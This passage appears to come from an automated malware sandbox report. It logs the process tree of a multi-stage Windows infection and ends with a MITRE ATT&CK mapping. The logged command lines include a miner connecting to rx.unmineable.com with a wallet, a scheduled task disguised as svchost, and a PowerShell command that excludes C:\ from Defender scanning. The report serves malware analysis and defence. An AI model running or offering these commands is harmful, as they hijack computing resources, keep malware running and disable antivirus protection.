        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4804 /prefetch:1
        6⤵
        
        PID:4076
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2112,8896521124935098791,13821560327188226596,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
        6⤵
        
        PID:8004
    - - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" "https://www.youtube.com/account"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3384
      - C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" https://www.youtube.com/account
        6⤵
        Checks processor information in registry
        Modifies registry class
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:3276
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1976 -parentBuildID 20240401114208 -prefsHandle 1896 -prefMapHandle 1888 -prefsLen 23680 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {b296bbf8-ab1a-443b-8e86-9f2fe2d57f86} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" gpu
        7⤵
        
        PID:3032
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2464 -parentBuildID 20240401114208 -prefsHandle 2440 -prefMapHandle 2436 -prefsLen 24600 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {fd3b494b-a619-4970-ba55-d3a2270d588d} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" socket
        7⤵
        
        PID:1756
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2788 -childID 1 -isForBrowser -prefsHandle 2884 -prefMapHandle 3084 -prefsLen 22652 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {088f5bb6-765d-4b77-b4ee-6b30a125ab94} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab
        7⤵
        
        PID:3376
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3636 -childID 2 -isForBrowser -prefsHandle 3628 -prefMapHandle 2768 -prefsLen 29090 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {adc199a4-49d4-40e3-b166-12e66cbf8ba5} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab
        7⤵
        
        PID:5176
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4156 -parentBuildID 20240401114208 -sandboxingKind 0 -prefsHandle 4204 -prefMapHandle 4192 -prefsLen 29090 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c799cfa5-2535-439f-a4f1-57a9378432bc} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" utility
        7⤵
        Checks processor information in registry
        
        PID:5912
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5316 -childID 3 -isForBrowser -prefsHandle 5388 -prefMapHandle 4940 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {62d6f68e-b159-4f69-a822-e636a371a34e} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab
        7⤵
        
        PID:5612
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5592 -childID 4 -isForBrowser -prefsHandle 5512 -prefMapHandle 5516 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {23484be0-a28f-4ff8-9824-1a61277fd408} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab
        7⤵
        
        PID:6116
        
        C:\Program Files\Mozilla Firefox\firefox.exe
        
        "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5792 -childID 5 -isForBrowser -prefsHandle 5712 -prefMapHandle 5720 -prefsLen 27132 -prefMapSize 244658 -jsInitHandle 892 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1dfbb158-a5d9-4864-ae0f-bb28eb49914e} 3276 "\\.\pipe\gecko-crash-server-pipe.3276" tab
        7⤵
        
        PID:5496
- - C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
    "C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe"
    3⤵
    PID:5668
- - C:\Users\Admin\1000029002\83eb245d83.exe
    "C:\Users\Admin\1000029002\83eb245d83.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:5904
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 5904 -s 1388
      4⤵
      Program crash
      PID:5924
- - C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe
    "C:\Users\Admin\AppData\Local\Temp\1000030001\c19124b829.exe"
    3⤵
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Identifies Wine through registry keys
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:628
  - - C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
      "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Checks computer location settings
      Executes dropped EXE
      Identifies Wine through registry keys
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      PID:6240
    - - C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000057001\jsawdtyjde.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6500
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\1.bat" "
        6⤵
        
        PID:6604
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX0\clamer.exe
        
        clamer.exe -priverdD
        7⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:6660
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX1\thkdh.exe"
        8⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:6744
    - - C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1000058001\deepweb.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        System Location Discovery: System Language Discovery
        
        PID:6844
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6904
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        
        PID:6912
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:6920
        
        C:\Users\Admin\AppData\Local\Temp\pureee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pureee.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        
        PID:7048
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:7156
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:7184
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:1464
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:9044
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:8868
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:7748
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:9140
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:6636
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:7956
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:7940
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:6780
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:8160
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:6584
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:7364
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:4744
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:4496
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:3896
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:8232
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:6952
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\AddInProcess.exe -o rx.unmineable.com:3333 -a rx -k -u ETC:0x612e5dBaff1fa2Be8D30e5684630c26db5c5196B.RIG_CPU -p x --cpu-max-threads-hint=50
        8⤵
        
        PID:5076
        
        C:\Users\Admin\AppData\Local\Temp\adada.exe
        
        "C:\Users\Admin\AppData\Local\Temp\adada.exe"
        7⤵
        Executes dropped EXE
        
        PID:6488
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6208
        
        C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe
        
        "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe"
        8⤵
        Executes dropped EXE
        
        PID:2380
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        "schtasks" /create /tn "svchost" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\svchost.exe" /rl HIGHEST /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8628
        
        C:\Users\Admin\AppData\Local\Temp\dropperrr.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dropperrr.exe"
        7⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Modifies registry class
        
        PID:1800
        
        C:\Windows\System32\msiexec.exe
        
        "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\DirectX11\em_TaWHWZA1_installer_Win7-Win11_x86_x64.msi.msi"
        8⤵
        Blocklisted process makes network request
        Enumerates connected drives
        
        PID:7528

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:656

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3336

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:6112

C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
1⤵
PID:5228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 5904 -ip 5904
1⤵
PID:5508

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:8348

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:8328

C:\ProgramData\cffit\jpxj.exe
C:\ProgramData\cffit\jpxj.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:7300

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
PID:316
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding DD986CF79E408F7E7000DF9C70344EC5
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:8604
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 42CCC81B74BEE6987969AF7C705CAC8E E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:8216
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\SysWOW64\cmd.exe" /C "cd "C:\Program Files (x86)\COMODO\Endpoint Manager\" && "C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:6192
  - - C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe
      "C:\Program Files (x86)\COMODO\Endpoint Manager\python_x86_Lib.exe"
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      System Location Discovery: System Language Discovery
      Modifies data under HKEY_USERS
      PID:4816
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:6500

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:6272

C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe
"C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMService.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks for any installed AV software in registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:8288
- C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe
  "C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:7932
- C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe
  "C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe" noui
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:7908
- C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe
  "C:\Program Files (x86)\COMODO\Endpoint Manager\ITSMAgent.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of SetWindowsHookEx
  PID:7160
- C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe
  "C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --start
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:7864

C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7128

C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
C:\Users\Admin\AppData\Local\Temp\0d8f5eb8a7\explorti.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7756

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:7232

C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe
"C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:8760
- C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe
  "C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --run_procedure --in Global\sharedInputMemory_1 --out Global\sharedOutputMemory_2 --err Global\sharedErrorMemory_3
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:8152
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\'""
    3⤵
    PID:2024
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:8204
- C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe
  "C:\Program Files (x86)\COMODO\Endpoint Manager\RmmService.exe" --run_procedure --in Global\sharedInputMemory_4 --out Global\sharedOutputMemory_5 --err Global\sharedErrorMemory_6
  2⤵
  PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

Security Software Discovery

T1518.001

System Information Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion